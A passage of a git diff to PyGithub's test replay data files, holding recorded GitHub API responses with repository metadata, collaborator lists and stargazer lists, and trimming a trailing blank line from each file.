PyGithub","fork":true,"url":"https://api.github.com/repos/hegde5/PyGithub","forks_url":"https://api.github.com/repos/hegde5/PyGithub/forks","keys_url":"https://api.github.com/repos/hegde5/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/hegde5/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/hegde5/PyGithub/teams","hooks_url":"https://api.github.com/repos/hegde5/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/hegde5/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/hegde5/PyGithub/events","assignees_url":"https://api.github.com/repos/hegde5/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/hegde5/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/hegde5/PyGithub/tags","blobs_url":"https://api.github.com/repos/hegde5/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/hegde5/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/hegde5/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/hegde5/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/hegde5/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/hegde5/PyGithub/languages","stargazers_url":"https://api.github.com/repos/hegde5/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/hegde5/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/hegde5/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/hegde5/PyGithub/subscription","commits_url":"https://api.github.com/repos/hegde5/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/hegde5/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/hegde5/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/hegde5/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/hegde5/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/hegde5/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/hegde5/PyGithub/merges","archive_url":"https://api.github.com/repos/hegde5/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/hegde5/PyGithub/downloads","issues_url":"https://api.github.com/repos/hegde5/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/hegde5/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/hegde5/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/hegde5/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/hegde5/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/hegde5/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/hegde5/PyGithub/deployments","created_at":"2018-10-21T09:44:20Z","updated_at":"2018-10-21T20:22:32Z","pushed_at":"2018-10-21T20:20:42Z","git_url":"git://github.com/hegde5/PyGithub.git","ssh_url":"git@github.com:hegde5/PyGithub.git","clone_url":"https://github.com/hegde5/PyGithub.git","svn_url":"https://github.com/hegde5/PyGithub","homepage":"http://vincent-jacques.net/PyGithub","size":11452,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-10-20T14:47:23Z","pushed_at":"2018-10-21T20:20:43Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11433,"stargazers_count":2143,"watchers_count":2143,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":737,"mirror_url":null,"archived":false,"open_issues_count":51,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":737,"open_issues":51,"watchers":2143,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-10-20T14:47:23Z","pushed_at":"2018-10-21T20:20:43Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11433,"stargazers_count":2143,"watchers_count":2143,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":737,"mirror_url":null,"archived":false,"open_issues_count":51,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":737,"open_issues":51,"watchers":2143,"default_branch":"master"},"network_count":737,"subscribers_count":1} - diff --git a/tests/ReplayData/Issue937.testCollaboratorsAffiliation.txt b/tests/ReplayData/Issue937.testCollaboratorsAffiliation.txt index 992a126986..5ea72878f3 100644 --- a/tests/ReplayData/Issue937.testCollaboratorsAffiliation.txt +++ b/tests/ReplayData/Issue937.testCollaboratorsAffiliation.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Oct 2018 21:13:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1540157093'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"db23c025efd980c5fc4249cde2e34de0"'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E700:4832:2D5EDDC:66CB0FA:5BCCEC00')] [{"login":"hegde5","id":8609211,"node_id":"MDQ6VXNlcjg2MDkyMTE=","avatar_url":"https://avatars2.githubusercontent.com/u/8609211?v=4","gravatar_id":"","url":"https://api.github.com/users/hegde5","html_url":"https://github.com/hegde5","followers_url":"https://api.github.com/users/hegde5/followers","following_url":"https://api.github.com/users/hegde5/following{/other_user}","gists_url":"https://api.github.com/users/hegde5/gists{/gist_id}","starred_url":"https://api.github.com/users/hegde5/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hegde5/subscriptions","organizations_url":"https://api.github.com/users/hegde5/orgs","repos_url":"https://api.github.com/users/hegde5/repos","events_url":"https://api.github.com/users/hegde5/events{/privacy}","received_events_url":"https://api.github.com/users/hegde5/received_events","type":"User","site_admin":false,"permissions":{"admin":true,"push":true,"pull":true}}] - diff --git a/tests/ReplayData/Issue945.setUp.txt b/tests/ReplayData/Issue945.setUp.txt index 0a66bed2ae..36596dc9e7 100644 --- a/tests/ReplayData/Issue945.setUp.txt +++ b/tests/ReplayData/Issue945.setUp.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:40 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4972'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"501068d9a3e67fb624ce5e83e1270d41"'), ('Last-Modified', 'Fri, 26 Oct 2018 04:18:01 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ACCA:235E:3C0006:7729D5:5BD2ADFF')] {"id":345337,"node_id":"MDEwOlJlcG9zaXRvcnkzNDUzMzc=","name":"openFrameworks","full_name":"openframeworks/openFrameworks","private":false,"owner":{"login":"openframeworks","id":142866,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0Mjg2Ng==","avatar_url":"https://avatars2.githubusercontent.com/u/142866?v=4","gravatar_id":"","url":"https://api.github.com/users/openframeworks","html_url":"https://github.com/openframeworks","followers_url":"https://api.github.com/users/openframeworks/followers","following_url":"https://api.github.com/users/openframeworks/following{/other_user}","gists_url":"https://api.github.com/users/openframeworks/gists{/gist_id}","starred_url":"https://api.github.com/users/openframeworks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/openframeworks/subscriptions","organizations_url":"https://api.github.com/users/openframeworks/orgs","repos_url":"https://api.github.com/users/openframeworks/repos","events_url":"https://api.github.com/users/openframeworks/events{/privacy}","received_events_url":"https://api.github.com/users/openframeworks/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/openframeworks/openFrameworks","description":"openFrameworks is a community-developed cross platform toolkit for creative coding in C++.","fork":false,"url":"https://api.github.com/repos/openframeworks/openFrameworks","forks_url":"https://api.github.com/repos/openframeworks/openFrameworks/forks","keys_url":"https://api.github.com/repos/openframeworks/openFrameworks/keys{/key_id}","collaborators_url":"https://api.github.com/repos/openframeworks/openFrameworks/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/openframeworks/openFrameworks/teams","hooks_url":"https://api.github.com/repos/openframeworks/openFrameworks/hooks","issue_events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/events{/number}","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/events","assignees_url":"https://api.github.com/repos/openframeworks/openFrameworks/assignees{/user}","branches_url":"https://api.github.com/repos/openframeworks/openFrameworks/branches{/branch}","tags_url":"https://api.github.com/repos/openframeworks/openFrameworks/tags","blobs_url":"https://api.github.com/repos/openframeworks/openFrameworks/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/openframeworks/openFrameworks/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/openframeworks/openFrameworks/git/refs{/sha}","trees_url":"https://api.github.com/repos/openframeworks/openFrameworks/git/trees{/sha}","statuses_url":"https://api.github.com/repos/openframeworks/openFrameworks/statuses/{sha}","languages_url":"https://api.github.com/repos/openframeworks/openFrameworks/languages","stargazers_url":"https://api.github.com/repos/openframeworks/openFrameworks/stargazers","contributors_url":"https://api.github.com/repos/openframeworks/openFrameworks/contributors","subscribers_url":"https://api.github.com/repos/openframeworks/openFrameworks/subscribers","subscription_url":"https://api.github.com/repos/openframeworks/openFrameworks/subscription","commits_url":"https://api.github.com/repos/openframeworks/openFrameworks/commits{/sha}","git_commits_url":"https://api.github.com/repos/openframeworks/openFrameworks/git/commits{/sha}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/comments{/number}","issue_comment_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/comments{/number}","contents_url":"https://api.github.com/repos/openframeworks/openFrameworks/contents/{+path}","compare_url":"https://api.github.com/repos/openframeworks/openFrameworks/compare/{base}...{head}","merges_url":"https://api.github.com/repos/openframeworks/openFrameworks/merges","archive_url":"https://api.github.com/repos/openframeworks/openFrameworks/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/openframeworks/openFrameworks/downloads","issues_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues{/number}","pulls_url":"https://api.github.com/repos/openframeworks/openFrameworks/pulls{/number}","milestones_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones{/number}","notifications_url":"https://api.github.com/repos/openframeworks/openFrameworks/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/labels{/name}","releases_url":"https://api.github.com/repos/openframeworks/openFrameworks/releases{/id}","deployments_url":"https://api.github.com/repos/openframeworks/openFrameworks/deployments","created_at":"2009-10-21T21:55:54Z","updated_at":"2018-10-26T04:18:01Z","pushed_at":"2018-10-18T15:56:59Z","git_url":"git://github.com/openframeworks/openFrameworks.git","ssh_url":"git@github.com:openframeworks/openFrameworks.git","clone_url":"https://github.com/openframeworks/openFrameworks.git","svn_url":"https://github.com/openframeworks/openFrameworks","homepage":"http://openframeworks.cc","size":1997625,"stargazers_count":6453,"watchers_count":6453,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":2143,"mirror_url":null,"archived":false,"open_issues_count":874,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":2143,"open_issues":874,"watchers":6453,"default_branch":"patch-release","permissions":{"admin":false,"push":false,"pull":true},"organization":{"login":"openframeworks","id":142866,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0Mjg2Ng==","avatar_url":"https://avatars2.githubusercontent.com/u/142866?v=4","gravatar_id":"","url":"https://api.github.com/users/openframeworks","html_url":"https://github.com/openframeworks","followers_url":"https://api.github.com/users/openframeworks/followers","following_url":"https://api.github.com/users/openframeworks/following{/other_user}","gists_url":"https://api.github.com/users/openframeworks/gists{/gist_id}","starred_url":"https://api.github.com/users/openframeworks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/openframeworks/subscriptions","organizations_url":"https://api.github.com/users/openframeworks/orgs","repos_url":"https://api.github.com/users/openframeworks/repos","events_url":"https://api.github.com/users/openframeworks/events{/privacy}","received_events_url":"https://api.github.com/users/openframeworks/received_events","type":"Organization","site_admin":false},"network_count":2143,"subscribers_count":514} - diff --git a/tests/ReplayData/Issue945.testReservedPaginatedListAttributePreservation.txt b/tests/ReplayData/Issue945.testReservedPaginatedListAttributePreservation.txt index 06d0715b20..567c45e2d7 100644 --- a/tests/ReplayData/Issue945.testReservedPaginatedListAttributePreservation.txt +++ b/tests/ReplayData/Issue945.testReservedPaginatedListAttributePreservation.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"3ffd69d4f4e7383eae948812b1eb72e5"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=star; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F9D6:235E:3C00DD:772BC6:5BD2AE02')] [{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"atduskgreg","id":165,"node_id":"MDQ6VXNlcjE2NQ==","avatar_url":"https://avatars1.githubusercontent.com/u/165?v=4","gravatar_id":"","url":"https://api.github.com/users/atduskgreg","html_url":"https://github.com/atduskgreg","followers_url":"https://api.github.com/users/atduskgreg/followers","following_url":"https://api.github.com/users/atduskgreg/following{/other_user}","gists_url":"https://api.github.com/users/atduskgreg/gists{/gist_id}","starred_url":"https://api.github.com/users/atduskgreg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/atduskgreg/subscriptions","organizations_url":"https://api.github.com/users/atduskgreg/orgs","repos_url":"https://api.github.com/users/atduskgreg/repos","events_url":"https://api.github.com/users/atduskgreg/events{/privacy}","received_events_url":"https://api.github.com/users/atduskgreg/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"DocSavage","id":185,"node_id":"MDQ6VXNlcjE4NQ==","avatar_url":"https://avatars1.githubusercontent.com/u/185?v=4","gravatar_id":"","url":"https://api.github.com/users/DocSavage","html_url":"https://github.com/DocSavage","followers_url":"https://api.github.com/users/DocSavage/followers","following_url":"https://api.github.com/users/DocSavage/following{/other_user}","gists_url":"https://api.github.com/users/DocSavage/gists{/gist_id}","starred_url":"https://api.github.com/users/DocSavage/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/DocSavage/subscriptions","organizations_url":"https://api.github.com/users/DocSavage/orgs","repos_url":"https://api.github.com/users/DocSavage/repos","events_url":"https://api.github.com/users/DocSavage/events{/privacy}","received_events_url":"https://api.github.com/users/DocSavage/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"dfl","id":282,"node_id":"MDQ6VXNlcjI4Mg==","avatar_url":"https://avatars0.githubusercontent.com/u/282?v=4","gravatar_id":"","url":"https://api.github.com/users/dfl","html_url":"https://github.com/dfl","followers_url":"https://api.github.com/users/dfl/followers","following_url":"https://api.github.com/users/dfl/following{/other_user}","gists_url":"https://api.github.com/users/dfl/gists{/gist_id}","starred_url":"https://api.github.com/users/dfl/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dfl/subscriptions","organizations_url":"https://api.github.com/users/dfl/orgs","repos_url":"https://api.github.com/users/dfl/repos","events_url":"https://api.github.com/users/dfl/events{/privacy}","received_events_url":"https://api.github.com/users/dfl/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"norio","id":307,"node_id":"MDQ6VXNlcjMwNw==","avatar_url":"https://avatars1.githubusercontent.com/u/307?v=4","gravatar_id":"","url":"https://api.github.com/users/norio","html_url":"https://github.com/norio","followers_url":"https://api.github.com/users/norio/followers","following_url":"https://api.github.com/users/norio/following{/other_user}","gists_url":"https://api.github.com/users/norio/gists{/gist_id}","starred_url":"https://api.github.com/users/norio/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/norio/subscriptions","organizations_url":"https://api.github.com/users/norio/orgs","repos_url":"https://api.github.com/users/norio/repos","events_url":"https://api.github.com/users/norio/events{/privacy}","received_events_url":"https://api.github.com/users/norio/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"auser","id":529,"node_id":"MDQ6VXNlcjUyOQ==","avatar_url":"https://avatars1.githubusercontent.com/u/529?v=4","gravatar_id":"","url":"https://api.github.com/users/auser","html_url":"https://github.com/auser","followers_url":"https://api.github.com/users/auser/followers","following_url":"https://api.github.com/users/auser/following{/other_user}","gists_url":"https://api.github.com/users/auser/gists{/gist_id}","starred_url":"https://api.github.com/users/auser/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/auser/subscriptions","organizations_url":"https://api.github.com/users/auser/orgs","repos_url":"https://api.github.com/users/auser/repos","events_url":"https://api.github.com/users/auser/events{/privacy}","received_events_url":"https://api.github.com/users/auser/received_events","type":"User","site_admin":false}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"keeran","id":848,"node_id":"MDQ6VXNlcjg0OA==","avatar_url":"https://avatars0.githubusercontent.com/u/848?v=4","gravatar_id":"","url":"https://api.github.com/users/keeran","html_url":"https://github.com/keeran","followers_url":"https://api.github.com/users/keeran/followers","following_url":"https://api.github.com/users/keeran/following{/other_user}","gists_url":"https://api.github.com/users/keeran/gists{/gist_id}","starred_url":"https://api.github.com/users/keeran/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/keeran/subscriptions","organizations_url":"https://api.github.com/users/keeran/orgs","repos_url":"https://api.github.com/users/keeran/repos","events_url":"https://api.github.com/users/keeran/events{/privacy}","received_events_url":"https://api.github.com/users/keeran/received_events","type":"User","site_admin":true}},{"starred_at":"2009-10-21T21:55:54Z","user":{"login":"antramm","id":917,"node_id":"MDQ6VXNlcjkxNw==","avatar_url":"https://avatars2.githubusercontent.com/u/917?v=4","gravatar_id":"","url":"https://api.github.com/users/antramm","html_url":"https://github.com/antramm","followers_url":"https://api.github.com/users/antramm/followers","following_url":"https://api.github.com/users/antramm/following{/other_user}","gists_url":"https://api.github.com/users/antramm/gists{/gist_id}","starred_url":"https://api.github.com/users/antramm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/antramm/subscriptions","organizations_url":"https://api.github.com/users/antramm/orgs","repos_url":"https